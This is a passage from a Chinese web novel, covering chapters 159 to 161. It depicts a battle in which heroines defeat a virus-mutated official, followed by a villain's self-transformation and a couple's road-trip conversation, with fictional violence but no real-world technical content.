死了好,死了之后,他人生中最窘迫的片段之一便不再有人知晓,永远尘封。
向知番以为自己总算摆脱了蔺咏铭,从今往后不可能再想起她。
昼时的确从来没有一刻会想起这个女人,可是入夜之后在那乍然出现的梦里,对食时的无能,蔺咏铭被异兽拖走时惊惧又怨毒的眼神,一次次将他吓醒。
今夜他依旧被噩梦惊醒,醒来时寝衣已经被冷汗浸透。
喝安神茶喝到怒火中烧,把茶盏狠狠掷出去,摔得粉碎。
下属来报时正好听到了茶盏粉碎的声音,以及向知番失控的低吼,犹豫了一下才小心翼翼地叩门。
“向公……有急报。”
良久,向知番才打开门。
下属看到向知番时,上半身禁不住往后微晃。
不怪他害怕,向知番整个人瘦削苍白,双眼里布满血丝,头发凌乱,和鬼一般矗立在幽暗的屋子门口。
“说。”
向知番转身往屋里去,声音也嘶哑了。
下属低声道:“听水楼被破。”
向知番猛地侧回身,半晌,他整个人颤抖起来,撕心裂肺道:
“是李极……是她干的!给我把她抓回来!”
下属额头上渗出冷汗。
听水楼刚刚被破,里面什么情况都不知晓,而且安王殿下身边高手如云,如何抓?能抓早就抓了。
“还不快去!”
向知番大吼着。
下属发现他的异常,不敢多言,“喏”了一声快步消失。
向知番吼得自己脑袋嗡嗡作响。
不能再这样下去,不然在暗中侵略他思绪的人就得逞了。
就在向知番直接拿起茶壶往肚子里猛灌茶水时,房屋之外,火油已经布好。
贺兰濯倒是想直接布炸弹,可惜向老贼的巡防严密,炸弹太容易被发现,而原始的火油倒是能钻一钻漏洞。
如果向老贼被烧死在屋里那便万事大吉。如果他要逃出来的话,贺兰濯也为他量身打造了各种陷阱。
不烧死,也能活活将他折磨死。
火舌很快沿着墙根往里烧。
有人放火!
向知番就要往外走的时候,黑暗中有个女人的黑影立在那儿,唤了一声:
“向知番——”
向知番脚下猛地一顿,犹豫间回眸。
“向知番……”女人的影子从黑暗中走向他,声音尖锐破碎,不似常人,可向知番还是听出了,那是蔺咏铭的声音。
向知番狐疑又警惕地看向步伐诡异的蔺咏铭。
“你,没死?”
蔺咏铭走到光线之下,支离破碎的脸和身躯已经被乱体拧得面目全非。
“你都没死,我怎么能死呢?”
……
贺兰濯脑中“嗡”地剧痛。
她感受到了一场巨大的痛苦,大量的精神力在疯狂外泄,无差别地攻击宅子周围的所有人。
眼下能释放海量精神力的人,恐怕只有向知番。
向知番为什么会突然失控般释放巨量的精神力?
就像是垂死挣扎。
贺兰濯立即联系繁之,让他指挥下属全部退到危险范围之外。
繁之却率先联系贺兰濯道:“向知番逃了。”
贺兰濯:“逃了?逃去何处?”
繁之:“他从一号陷阱闯了出去,被炸断了腿,但速度极快,还伤了我们两个人……”
腿断了,速度还能“极快”?
贺兰濯有不好的预感,立刻打断繁之的话,“给我他逃离的方向。”
贺兰濯一直和李极保持着联系,一眼就看出向知番奔去了李极的方位,听水楼。
与此同时,繁之转给她一段下属拍到的向知番。
向知番在屋檐上狂奔,被炸断的腿已经被乱体拧出了新肢。
她想过无数种可能,精心谋划着布局着,耐心等待最后一击。
却没能料到在最重要的节骨眼上,向知番会忽然感染了黑魔方。
病毒从何而来,已经没有时间去追究,贺兰濯立刻飞信给李极,与此同时急追向知番.
闻声阁内部模型很快就建好了。
李极让康逸和几名经验老道的战斗天赋者穿上听水楼护卫和监工的衣服,开他们的马车前往闻声阁。
势必要一举拿下,救出阿赐。
康逸领命而去,李极不想多待在这听水楼,觉得不是很安全,便部署了一部分下属趁夜转移俘虏,她们也离开此地,准备收到贺兰濯的消息就去支援她。
曾倾洛一直在绘图建模型,也没怎么睡好,一站起来眼前忽然发白,险些摔倒。
幸好李极拉了她一把。
“你太累了,我带你去睡一会儿。”
李极拉着曾倾洛往院外马车的方向走,曾倾洛还惦记着围杀向知番的事儿,“贺节度使传信来了吗?动手了吗?”
第五阙在一旁燥候半天了,贺兰濯又不回她的信,只能等着李极这边给消息。
李极的电子表震了一下。
是贺兰濯的信。
在李极低头看信的一瞬间,不知为何曾倾洛猛然回身,用力一把将她推回了屋子。
李极完全不记得自己是怎么摔到地上,只觉得一片不知从何而来的恐怖的精神力像炮弹,几乎要轰入她脑海的前一瞬,却被什么东西挡住了。
即便被抵挡了大部分,李极依旧头疼欲裂,整个人懵了半天,才跌跌撞撞地撑起身子。
她到底有C级的精神力,即便被碾压性的精神力污染,依旧能快速强迫自己清醒。
待她回过神,听到屋外激烈的打斗声。
乱体横扫,直接扫烂了她所处的房子,李极裙摆被直接刮烂,要不是她躲得快,险些失去一条腿。
乱体正是来自向知番。
准确说来,该是来自向知番和蔺咏铭。
因为黑魔方已经将他们拧在一起。
向知番被黑魔方吞噬的一霎那,张开所有精神力来维持神志,他S级的精神力甚至影响了黑魔方。
他们所遭遇的黑魔方来自野外,是还未迭代出智慧的病毒。
他和蔺咏铭对李极的执着,深深烙在这只新鲜的异兽无比简单的大脑中,不顾一切杀向听水楼,只想要李极!
黑魔方大大提升了向知番的能力,康逸带着一大部分的好手去了闻声阁,剩下的还未杀到向知番面前,就被他强大的精神力摧毁了所有思维,双眼发空地倒在地上,七孔流血,变成了一具没有思想的空壳。
偏偏他还拥有S级的战斗天赋。
第五阙分明撕烂了他的乱体,下一刻乱体竟变得更多,从地面之下扎出一根根尖刺,逼得第五阙连连后退。可当她躲过尖刺,后背又被乱体狠抽,疼得她龇牙咧嘴,这才发现刚才的尖刺居然都是幻觉。
精神力和战斗力相辅相成,非常难缠。
向知番的后脑长出蔺咏铭的脸,蔺咏铭双眼紧闭,不停地哭喊着“贵妃”。
李极推开屋门看到这一幕恶心坏了,从地上抽出一把剑直接刺向蔺咏铭。
蔺咏铭忽然睁开眼,用牙咬住剑。
一双怒目圆睁的双眼眨都不眨,黑色的乱体镶在口中,死死搅着李极的剑。
李极抽不出剑,向知番猛然回头,剑身折断,一张五官乱序的脸惊得李极心下一沉。
无数发子弹打在向知番的脸上,向知番的脸登时被轰烂。
曾倾洛一手拿枪一手抱住李极,旋身跃上屋顶。
向知番被打烂的五官重组,竟变成了蔺咏铭。
向知番原本的五官挪到了脑后。
曾倾洛将李极放下,说:“你待在此地别动。”
曾倾洛欲走,李极猛然拉住她的袖子,攥得骨节发青,紧紧盯着她的脸。
“小满,你怎么了?”
曾倾洛还疑惑,我怎么了?
李极的声音带着无法自控的颤抖,曾倾洛想起来,正要说“没什么,只是刚才推你进屋的时候,挡下了向知番的精神力”。
可这句话从脑中过了一遍,每一个字都乱了顺序,她嘴张了张,没能开口。
有什么滚烫的液体从脸庞划过,她摸了一下,是血。
鲜血从曾倾洛的双眼和双耳中滚滚往下流,擦了又擦,擦不尽。
李极扣住她的肩膀,“刚才,你为我挡了向知番的精神力?”
那汹涌的S级精神力,可以瞬间将人的精神世界摧毁的精神攻击,小满完全帮她挡下了?
李极面色惨白,她捧着曾倾洛的脸,慌得浑身的鸡皮疙瘩疯狂战栗。
曾倾洛想说什么,思绪却以她不解的速度在消失。
怔怔地看着眼前人,李极的脸庞每一息都在变得更加陌生。
李极根本没发现自己眼泪在不停地掉落,声音已经破碎了。
“小满,小满!你别吓我……”
心里的话寻寻觅觅了半天,一个字一个字艰难地从精神世界的废墟中拾起来,曾倾洛最后说:
“我出长安城……是为了找你。”
第160章
大地在让人心慌地震颤。
忽然一阵猛烈的晃动,第五阙一拳击中向知番。
向知番的左肩爆炸般炸出无数乱体的碎渣,黑色的金属碎片散入空中。
沈逆为第五阙量身打造的拳套能百分百激发她的潜能,即便是异兽化的向知番,每一拳砸在他身上,都能轰出一个大洞。
如果是没异化前的向知番,恐怕已经被第五阙打懵,可是,眼前这只半人半兽,无论被炸得多零碎,所有飞散到空中的碎片都会再次聚合回来。
那是来自向知番对“完整”的执着,黑魔方将这份“执着”无限放大。
打不死,挥不散。
向知番依旧很难缠,蔺咏铭时高时低的呢喃更似咒语,一直在第五阙的耳边回荡,刺激她的神经,打乱她的思绪,干扰她对向知番进攻的判断。
第五阙被掀飞,砸入成衣间,把一大摞的手工制衣砸得七零八落。
肩膀被乱体刺穿,已经血肉模糊。
她艰难地站起身,发现向知番的乱体拧成了一只巨大的手,抓向屋顶上的李极和曾倾洛。
不知为何,李极和曾倾洛就像完全没有发现危机,一动不动。
第五阙大喊一声“危险”,将一根沉重的实心圆柱用力踢向乱体之手。
乱体之手猛力一抓,抓中了圆柱。
那根圆柱踢得第五阙脚都肿了,乱体之手只是轻轻一握,就像揉纸团一样将它揉烂。
第五阙:“这怪物……”
第五阙趁此机会捂着脚咬着牙跃上房顶,一把将李极拎起,对她喊:“跑啊!”
李极反应却慢得不像她,第五阙这时才发现她满脸泪痕,紧紧抱着一动不动的曾倾洛。
一阵凉意涌上第五阙的心头,来不及细想,巨大的乱体之手张开了五指,从高空压下。
巨物高速砸落的威压让第五阙头皮发麻,她将李极和曾倾洛推了出去,自己一个滚身先前躲避。
她预判应该已经滚到了安全地带,脚踝却被乱体掌中延伸出似绳索般的乱体圈住,用力拽回去。
乱体之手冲着第五阙抓下来,第五阙反手就是一拳。
乱体之手被打得往回缩,无名指被打断,却在眨眼之间又拧出了新的手指,继续往下抓。
第五阙每打一拳,乱体之手就被击碎一次,可是它重组的时间也越来越快。第五阙的脸庞已经被乱体之手的阴影完全覆盖。
李极拿起曾倾洛的枪,对着向知番本人狂扫。
向知番脸部被打得血肉模糊,蔺咏铭哭喊的声音更大,一声声“贵妃”刺进李极的大脑中。
愚蠢、愚蠢、愚蠢!
根本无法将他打散,无论多少子弹,多少力量轰炸,向知番都能在下一息恢复。
李极矗在原地,飞溅的乱体割破她的脸、脖子和手背,仙逸的长裙转眼被血染红,手中的子弹一刻不停,血红的双眼眨都不眨,发了疯似的一轰再轰。
李极让乱体之手的速度变缓了,第五阙打不烂那只手,顾不上喘气,立刻去拽缠着她脚踝的乱体。
这该死的乱体无比坚硬,第五阙用尽全力,手掌被深深割伤,手指也断了才勉强将它扯断。
可为时已晚。
巨大的乱体之手握住她的身躯,将她抓在掌中,用力揉碾。
第五阙只感觉浑身的骨头都要碎裂。
剧痛间,无数的乱体从掌心里伸出来贴在她身上蠢蠢欲动,下一息就要切开她的皮肤,占领她的身躯。
第五阙只觉得恶心得够呛,偏偏无论怎么用力都无法挣脱,眼前一阵阵地发黑,意识也在游离,眼前是再次重组的向知番。
见了鬼了,第五阙才不想死的时候对着这张脸,不然走黄泉路都得吐一路。
没办法了……无论如何都无法挣脱。
难道要用那个法子么?
耳边响起沈逆给她拳套时的话。
“记住,一定得到万不得已时才能使用,否则你性命堪忧。”
就在她意识越来越模糊,想用那最最危险的法子时,她望向天际。
黑夜里出现了两个月亮。
是不是临死前的幻觉,为什么会有两个月亮?
一个大的月亮,一个小的月亮。
第五阙好奇地瞧那小小的明月,不刺眼,很美很温柔,光晕笼罩在她身上,骨碎的痛楚居然都神奇地消失了。
她怎么落入一个温暖的怀抱里,记不清了。
只记得自己的身子脱离了让她作呕的乱体之手,嗅着她熟悉的淡香,从空中缓缓降落。
头顶上的黑伞在曼妙地轻旋,小月亮就在她眼前。
她终于回拢了意识,原来那轮小月亮竟是贺兰濯的右眼。
贺兰濯没有戴护目镜,右眼的光就像幻觉,仔细去看它并非真的有光,但晶莹剔透仿佛宝石般璀璨,第五阙看痴了。
风撩动贺兰濯的黑发,抱着第五阙放在曾倾洛身侧。
贺兰濯暗看一眼曾倾洛,情况不太妙,暂时用精神力帮她止痛,减缓痛苦,方才她就是这样帮第五阙降低了痛感。
贺兰濯眼眸未动,对身侧的第五阙道:“别看我,你的思绪会被我影响。”
第五阙咬着唇眼泪直落,紧抱着她,“你可多影响影响我吧……”
抽噎了几声,又委屈道:“你终于肯见我了。”
贺兰濯鼻尖发酸,轻叹一声,“怎么又把你弄哭了。”
最是看不得开朗的小孩儿哭,还受了这么重的伤,贺兰濯轻轻将她的脑袋往怀里揽了一下。
第五阙被她这么抱着,哭得更凶。
贺兰濯收起伞,向知番扭着脖子看向她们。
贺兰濯摸摸第五阙的脸蛋,“宝贝,你怕吗?”
第五阙抹掉眼泪,情不自禁看向贺兰濯的眼睛。
她的眼睛实在太美,第五阙忘记了疼痛忘记了恐惧,只想让贺兰濯尽情影响自己的思绪,恨不能与她融为一体。
“你就在这,我还有什么后顾之忧?”
“乖。”
贺兰濯红唇微扬,双指合并压在已经失去视力的左眼眼皮上。
方才一直睁着左眼,就是让失明一侧眼眸多少抑制了些精神力,这是她这段时日刚刚研究出的技法。
没什么太大实际的用处,就是能让第五阙能更安全地瞧她,看看她到底长什么模样。
李极已经跟她说,阿赐找到了,还活着。
日日夜夜紧绷的神经终于松开了,贺兰濯的人生第一次这么畅快。
她也一样。
第五阙在侧,何惧之有?
贺兰濯手掌横在第五阙的眼前。
即便没用眼睛看,在贺兰濯精神力乍然喷涌的那一刻,她依旧感受到了令她窒息的狂涛。仿佛孤寂的无人森林在一瞬间被点亮。
这些日子贺兰濯在一点点渗透向知番的思绪,控制他的梦境,已经知晓他最惧怕的是什么。
此刻更是直切他恐惧的要害,全力撕扯他的精神世界。
对精神天赋者而言,黑魔方迭代最大的败笔就是迭代出了大脑,有了大脑就意味着建立了精神世界,建立了被摧毁的路径。
贺兰濯试过摧毁异兽的精神世界,和摧毁人的一样。
精神世界坍塌,异兽就无知无觉,成了一副空壳,想要取它们的内核易如反掌。
但向知番本就有S级的精神力,加之黑魔方感染,将他的精神力狠狠拔高一截,即便贺兰濯知晓他最脆弱之处是什么,能够无限放大恐惧,依旧无法直接撕开他的精神防线。
贺兰濯愈发焦躁,忽然空气凝固了,周围黑茫茫的一片,没有声音也没有空气,窒息感箍着她的喉咙。就在这时,脚下的地面裂出一条横贯视野的深渊巨口,失重感让她不受控制的下坠。
在跌落的一瞬,她发现自己居然被催眠了!
就要摔得粉身碎骨之时,一股强劲的精神力冲入她的意识,破开深渊,高喊她的名字——
“贺兰濯!”
贺兰濯浑身冷汗猛地醒转,她在竭尽全力撕开向知番精神防线的时候居然被反向入侵。
思绪回拢,乱体已经杀到她身前,就要刺入她的身体前的一瞬,被第五阙一把抓住,反向狠拧,硬生生拧断。
“阿阙!”
第五阙站都要站不住,浑身没几根骨头还是好的,依旧顺利救下贺兰濯,开心地回头对她眨眨眼,“考虑一下以身相许?”
贺兰濯:……
是说这些话的时候么?
她摘了护目镜,正处于精神力的绝对巅峰,竟还控不住感染了黑魔方的向知番。
但是方才将贺兰濯从催眠中唤醒的不是第五阙,那是一股精神力,第五阙不可能有唤醒向知番催眠的精神力。
带着犀利杀气的精神力就在这儿。
贺兰濯惊讶地望向李极,是她。
李极一直都是C级的低等级精神力,想要催眠都需要多次亲密接触潜移默化,是不具备即时催眠或者唤醒能力的,更何况是唤醒异兽化的向知番的催眠。
所以,此刻的李极已经不是C级精神天赋者。
贺兰濯察觉到了李极身上颠覆性的能量,澎湃又陌生的精神力在她身上沸腾。
李极亦感受到自己在失去的悲愤中突破了天赋的上限,但是她并不振奋。
她有诸多下属,对于精神天赋的分级很熟悉。
此时的自己不是B级就是A级。
不会更高了。
精神天赋者和其他两类天赋者不同,情绪和经历会带给她们越级的可能。
但是,即便升到A级能做什么?
在绝对强者面前依旧是个废物。
她和贺兰濯共同抵抗着向知番的精神力,暂时只能战成平手。
可是她们是人,精神力会衰竭。
向知番已经是异兽,他的精神力源源不断,仿佛无穷无尽。
贺兰濯的大脑仿佛被千刀万剐,她早就超过极限,仅剩的右眼视力也在渐渐衰退。
这样下去她和李极的精神力会被耗尽,而向知番还有碾压她们的战斗天赋。
怎么办?
贺兰濯第一次陷入了不知该如何是好的境地。
视线忽明忽暗间,释放了最汹涌的精神力之后,乱体刺入贺兰濯的大腿,疲倦的身子跌在地上,无数的乱体迫不及待卷上她的身体。
贺兰濯抬眸,忽然发现第五阙不知何时蹿到向知番的面前,进入到极其危险的范围之内。
贺兰濯不太理解第五阙此刻的行为。
她摘掉了拳套,将拳套折叠,变成了两团小圆球,将小圆球压在向知番的胸前。
沈逆为她做的拳套,不仅能够释放她所有的潜力,还能在迫不得已的时候变成终极杀器——
折叠之后,就会成为两枚非常强悍的定位炸弹。
所谓的定位就是将所有的爆炸威力都集中在某个点位,爆破不会超过半径一丈的空间。
当时沈逆重申:“我得再跟你说一下这定位炸弹的危险性。如果无法在爆炸的一瞬间逃到一丈之外的距离,即便像你这种S级战斗天赋的身体,也会被炸得粉身碎骨。所以我才说,不到万不得已不能使用。不过……”
方才第五阙被乱体之手握住时,她想过使用。
可当时她被紧紧攥着,根本无法逃脱,一旦使用就会死无全尸。
不过现在,是使用的时候了。
即便向知番一直负隅顽抗,到底也只是一只上一代黑魔方拧出来的异兽,被吸引去了注意力之后,没发现第五阙在悄然无息近他的身。
这爆炸的威力足以摧毁内核,让他失去重生的能力。
第五阙顺利将炸弹安在他身上,做好了一瞬逃离的准备,启动了炸弹。
她只有两息的时间逃离。
偏偏在这时,一根乱体卷住了她的脚踝。
死亡的冰冷从她心头淹过,她下意识看向贺兰濯。
惊急之情击中贺兰濯,贺兰濯低喊了一声:“不行……”
既然逃不了,就将炸弹粘牢一点。
第五阙将炸弹死死压在向知番的胸前,对贺兰濯投来温柔的目光,依旧笑得粲然无邪:
“我能保护你。”
深夜在极短的时间里闪过白昼般的强光,大地轰隆隆地震颤。
贺兰濯等人被爆破波掀飞,天旋地转,即便意识恢复,依旧心慌不已。
贺兰濯跌跌撞撞地站起身,见向知番半边身子被炸烂,金属内核被炸得掉落在地。
这是此版本的黑魔方特征,内核里面有个小小的黑色大脑。
失去了内核,向知番已经不是异兽了,支离破碎的身体没能再聚合。
向知番居然还没死,正撕心裂肺地哀嚎。
李极将内核装入虚电容袋里,而贺兰濯再顾不得其他,慌张地四下寻找。
“阿阙,阿阙!”
残垣断壁,没有第五阙的踪影。
连残肢都找不到。
贺兰濯呆怔在原地。
她催眠过很多人,制造过无数次的幻觉,此刻她觉得自己才是身处幻觉之中。眼前发生的这一切她看到了,却荒谬得无法被大脑接受。
远处传来马车奔驰的声响,向知番的下属赶到听水楼。
他们之中有好几个S级的好手。
而向知番脑袋都被炸没了一半,依旧苟延残喘,发疯般向贺兰濯和李极的方向扑来。
贺兰濯站在废墟之中,巨大的悲痛瞬间淹没了她的意识,玉璧狂震着,霎时冲到了超载的边缘。
我不该接下睦州节度使的任务……
你不该认识我……
如果没有认识我,你不会难过、失落,伤痕累累……
你会多快乐?
原本已经完全黯淡的双瞳,忽然闪烁出惊人的亮,那双天底下最美的眼睛绽放出荡魂摄魄的强光。
向知番和他的下属们从来都没有见过这种美到心醉的光。
所以他们也不知道,那是死亡之光。
只在一瞬间,向知番和下属们的精神世界就被毁成一片废墟。
李极抱着曾倾洛,避开了贺兰濯的眼睛。
那让人心慌惊悸的光彩美丽到恐怖。
李极知道S级精神力是什么样的,而贺兰濯此刻完全不同。
那是双S级精神力。
贺兰濯突破了不可能突破的极限。
妹妹被挟持,自己被威胁,漫长的岁月里,贺兰濯一直在极度压抑的环境中小心翼翼地前行。
疼痛,思念,绝望,遇到让她着迷的爱情却只能选择回避。
这些都是她痛苦的根源。
此时此刻,在失去第五阙的当下,痛苦之源爆发成汹涌的洪流,冲毁了天赋的界限,极端悲痛的心境下,贺兰濯越级成为整片大陆现存唯一一位双S级精神天赋者。
横扫向知番和他的下属之后,灰败的心境让贺兰濯彻底脱力。
虚弱得下一刻就要晕倒,但她还是跪在地上,一砖一瓦地翻找,越翻越急,翻到十指血肉模糊。
或许还有可能,没见到尸体就没死。
她心存侥幸,不想放弃。
意识恍惚,所有的注意力都在废墟之下,完全没注意头顶有一根钢筋就要坠落。
抱着曾倾洛的李极被贺兰濯的精神力影响,思绪混乱不堪,看到钢筋对着贺兰濯的脑袋砸下去,本能地喊了一声:
“危险!”
钢筋坠落,贺兰濯察觉到危险时已经晚了。
疲累至极,失落至极的她已经没有力气躲闪。
钢筋却悬在她脑袋上方一寸的地方,没有真的伤到她。
一声轻笑从头顶传来。
贺兰濯缓缓抬头,看到了正在对她笑的第五阙。
好端端的第五阙。
贺兰濯:“……幻觉?”
第五阙单手撑着钢筋,她早就没力气了,勉强将钢筋推到一旁。
掀起的尘土弥漫眼前,第五阙的笑容却真实地穿透了一切。
“不是幻觉。”
第五阙单手捧住贺兰濯的脸。
“我还活着!”
沈逆“重申”拳套的使用方法时,还有后半截对话。
“所以我才说,不到万不得已不能使用。不过……阿阙,你实在太冒失了,感觉炸弹一旦启动,你不太能逃走。”
第五阙:“喂!”
“所以,我专门为你加了一层保护膜。炸弹启动之时,保护膜就会从拳套上脱离,自动检测你的位置,罩在你身上。不过你得谨记,这保护膜也不可能挡住所有爆炸威力,你逃不及时的话还是会伤着你。所以,能跑你还是必须得跑,听到了吗?”
听是听到了,可战场上有诸多变数,第五阙终究是搭了右臂进去。
贺兰濯看向她空荡荡的右臂。
第五阙笑着说:“没事啊没事的,回头我再缠着逆逆让她帮我做个义体,说不定比以前的还好使呢……”
话还没说完,就被贺兰濯紧紧搂入怀中。
紧密到她浑身发痛,无法呼吸。
却是她梦寐以求的怀抱。
第五阙扎在贺兰濯的怀中又笑又哭,贺兰濯却听到了一阵脚步声。
哒哒哒——
贺兰濯抬头,看见了歪着脑袋的蔺咏铭。
蔺咏铭在爆炸中居然被炸出了向知番的身体。
没想到他俩纠缠在一起,内核却是分开的。
向知番的内核被处理,她的还在。
她身上依旧张扬着乱体。
第五阙也回头,所有人都看向蔺咏铭,但她们都没有半点力气了。
第五阙“哈”的一声惨笑,倒在贺兰濯怀中。
“贺姐姐,你亲我一下,让我死之前开心开心吧……”
贺兰濯被她惹得笑出声,也实在懒得动弹。
她抱紧第五阙,没有死亡的恐惧,她什么不怕了。
蔺咏铭身上的乱体就要刺入她们的身躯,忽然,乱体静止在半空。
所有人疑惑地看向发着颤,像是被看不见的能量控制的乱体。
下一息,蔺咏铭痛苦地尖叫,乱体和黑色的能量突然冲入空中,毫不留情地从她身上剥离。
第五阙震惊道:“那是……黑魔方?黑魔方被吸走了?”
没人知道发生了什么事,而立在原地的蔺咏铭变成李渃元死前一模一样的枯尸,劲风一吹倒在地上,摔得破碎支离。
那时的她们还不知道,整片大陆的黑魔方病毒都被凶残地吸得一干二净。
还活着的人类就此进入了新的时代——夜不闭户的和平时代。
只不过当下没人知晓,新的盛世即将来临,又是如何来临的。
160-170
第161章
数日前。
要说有人比向知番还要寝食难安,那个人一定就是身在弦昼国的秦无商。
向知番是被噩梦所困,而秦无商则是兴奋得无法入睡。
秦无商一直在用侦查兽窥视边烬的动态,看她一步步接近弦昼国,心里难以抑制的亢奋——
我的宝贝终于来找我了。
秦无商一直想将沈逆和边烬融合在一起,两个双S级天赋者一定能炼出传说中太虚级异兽。
这是她出于机械师的想象和追求,也是来自她心底里沉甸甸的仇恨。
她最恨的不是折磨了她这么多年的黑魔方,而是唐Pro。
尚在襁褓之中的时候她就感染了黑魔方,这一生都困在黑魔方带来的痛苦中。
带她离开唐Pro的两位师姐反复给她看当初第五隽师姐是如何惨死的记忆投影,反复给她讲述曾经昌盛的师门如何没落。一次次地告诉她,要不是李渃元一定要打开魔盒,大师姐也不会死,大师姐没感染黑魔方,她也不会感染黑魔方,她的人生将完全不同。
是李渃元,是唐Pro毁了她这一生。
支持她在痛苦中活下去的,不是希望,而是恨。
毁掉唐Pro只是顺带的事,她费尽心思炼魔种、撺异兽,不为别的,只是想要这片大陆遍地狼烟,陷入地狱。
她这般丑陋、痛苦,这个世界上居然还有幸福的人?
不过她觉得自己真的很倒霉。
谁能想到,好不容易炼出的宝贝被沈逆抢走,一心渴望寻回来的炼丹炉也落到了沈逆手中。
沈逆甚至用炼丹炉重新炼出了边烬的魔种。
秦无商不是没有尝试过偷偷将边烬的魔种偷回来,可是沈逆实在是机警,那辆房车的防盗系数极高,而且魔种已经被她重新加密,根本无法输入指令。
她炼出的魔种,就这样成了沈逆东西!
秦无商咬牙切齿——那是我的!我的!无耻!无耻!
这段时日,秦无商一直派遣侦察兽紧紧跟着边烬,想趁着她病要她的命。
可是,无论边烬在黑魔方手中重伤多少次,沈逆就会将她修好多少次。
原本已经分崩离析的两人,居然奇迹般和好,甚至携手往弦昼这边来。
秦无商曾经无数次站在生死的边缘,却没有一次死亡如此的具象化。
她知道无法再离间这二人,以她现在的能力更不可能将她俩炼在一起了。
太虚级的异兽,梦寐以求的宝贝,怎么可以就此幻灭?
乱体从秦无商的额头上长出来,立在双眼间。
她看向那根乱体,与她相伴了三十多年的恶心玩意,痴痴地笑着。
空荡荡的寝殿弥漫着她咯咯的惨笑。
最后一定会死的,不是被边烬吸走了黑魔方,生命枯竭而死,就是被黑魔方占领了身躯彻底失去意识而亡。
即便这一切都不会发生,百年之后她也会变成一具无人在意的白骨。
人总是要死的啊,那又什么好贪恋的?
这世间也没有在意她的人。
画了这么多年的符,累到恶心。
终于可以停止了。
她将炼过的所有魔种统统丢入那鼎模仿师姐的杰作所制的炼丹炉中,然后自己欢呼着跳了进去。
在沸腾的电子熔炉中,她将自己当成了大模型,无数其他高天赋者的魔种为养料,喂入自己的基因里。
秦无商将自己和万千魔种祭献给了黑魔方,她要自己成为太虚级的异兽。
她有生以来第一次感受到了无尽的愉悦——
宝贝,我等着你来,我们终于能融为一体了。
……
灰突突的长路在蜿蜒的路面上前行,窄路的两侧时不时能看到坟冢。
坟冢越来越密集。
有些坟前就插着根写了字的木板。有些则更恐怖,坟包从里面挖出一个洞,坟包内空空荡荡。
车外阴气森森,车内的沈逆舒舒服服抱着她的小黄雀睡到自然醒。
醒来时疑惑地看着小黄雀,“你怎么在这儿?”
小黄雀是她从侯府带出来的。
她睡觉习惯抱着玩偶,原本小黄雀就是想打发边烬不在身边的日子。先前抱过几次,之后边烬回来了,她便将小黄雀收起来,专心抱边烬。
这会儿边烬不在身侧,在开车,怕沈逆梦里缺少安全感,便拿来小黄雀代替自己,塞到沈逆怀中。
怀里满当当的,沈逆果然睡得很踏实。
挑起帷帐往窗外看,陌生的地貌告诉沈逆,她们已经穿过了国境。
崎岖的地貌,暗无天日的阴云,冻土之上遍地腐尸。
这儿是弦昼国。
以前觉得唐Pro总没个晴天,一年三百六十五天中三百天都是阴沉沉的。现在到弦昼这儿一比,感觉唐Pro的气象开朗多了。
走到驾驶舱,见边烬正在驾车。
边烬把乌黑的长发盘在头顶,随意扎了个发髻,戴着沈逆的墨镜。
这墨镜不止可以遮挡阳光,也有能量侦测功能,突然杀出个异兽能及时发现。
沈逆坐到副驾上,打着呵欠看边烬。
戴着墨镜盘着长发的边烬干练可靠,她短暂暼一眼过来,问:“睡饱了?”很快转回眸,仔细前方路况。
“嗯,很饱。”
有边烬在侧,沈逆都不用轮流开车,想睡多久就睡多久。
她在边烬脸上落下一个吻。
“谢谢夫人。”
边烬蹙眉笑,倒是也适应了沈逆口口声声的“夫人”和“老婆”。
沈逆洗漱完毕,要来替边烬。
边烬:“不用,我不困。进入弦昼境内我也不能睡。”
沈逆问她:“你是不是早就来过弦昼?”
边烬知道她在问什么。
“当初在北境发生的事,你想知道吗?”
沈逆一下直起后背,“想啊。”
“我告诉你之后,你会闹我吗?”
沈逆理直气壮,“当初打我十鞭子把我拎回长安,开启了六年的分居,现在让我闹闹怎么了?”
边烬:……
那六年的分别都成“分居”了。
原原本本将前因后果都讲给她听。
除了她的身世。
身世这一块,边烬不确定沈逆想不想知道,暂且放置在一旁,等一切尘埃落定,她再旁敲侧击问问沈逆的想法。
淅淅沥沥的雨点打在挡风玻璃上,这雨竟是褐色的。
挡风玻璃是由疏水性材料制成,水无法在面上停留,所以雨下得再大,沈逆和边烬视野都是清晰的。
听完边烬的讲述,沈逆惊叹,“你居然做了这么万全的计划。”
边烬:“也不是完全,其中也有赌的成分。”
“比如……你利用刘吉的魔种从遗忘之脉进入长安城?这的确很冒险。就算他很容易被处理,也是个险招。”沈逆想了想,转过身正面对着边烬,“难道我去那家花店买花也在你计划之中?”
其实刘吉的魔种是沈扶苏准备的。
边烬道:“不算是。他原本就是弦昼京师城外万里坟冢里的一只小魔种。至于他是怎么会落入秦无商手中,不得而知。他的身份我查过,他家花店开在繁华闹市区,出事之后很容易被发现。只不过……”
“只不过,你还是加了一层保险,用冰蓝夜昙引我去了那家店。冰蓝夜昙非常稀有,是你,准确来说,是边师姐悄悄给了刘吉家花店货源,算好时机放出消息让我知晓。你喜欢冰蓝夜昙,所以我很有可能会去花店。遇上刘吉那种黑魔方,随手就能制服。”
沈逆吃着牛肉丝赞道:
“妙啊,如此一来黑魔方不会在城内泛滥,我反而成了接触到城中黑魔方的第一人,城防不得不加快进度。除我之外,还有谁能当任城防总监事呢?”
已经开始闹了。
边烬换左手握方向盘,右手刮了刮沈逆的手背。
沈逆就让边烬刮她,就算来讨好,她也要继续说。
“坐上城防总监事的位置,自然要和最高研发署打交道,那最高研发署内的炼丹炉迟早会进入到我的视线范围之内。那时你就怀疑最高研发署藏着秘密?既然你在弦昼国困了那么长的时日,炼丹炉的事儿你是不是从秦无商那儿知道了?”
边烬“嗯”了一声,指尖碰碰沈逆的食指指骨,又碰碰中指指骨。
老实交代,但默默哄着。
“而且,我在北境的耳目也是你吧,边师姐。你一直用耳目的身份与我联系,就是想在给我一些暗示,带我走入你的计划。必要的时候转移我的注意力。难怪耳目时不时会失联,原来是因为边师姐在意识里沉睡,没出现。”
边烬不置可否,但碰碰沈逆的动作改成了直接握住她的手。
被边烬无声宠着,沈逆嘴上夹枪带棒谴责她先前一系列不人道的行为,其实没真往心里去,就是想戳穿她,与此同时享受着她的纵容。
沈逆:“所以,和你合作的那位神秘的机械师,是不是与我有关?”
边烬:“为什么这样问?”
“不然为什么你不告诉我那人是谁?肯定是与我有关系的人。”沈逆的手翻上来,四根手指的指尖在边烬的手背上胡乱点着,意有所指道,“奇了怪,我这一介孤女,这世间除了你,居然还有与我有关系的人么?”
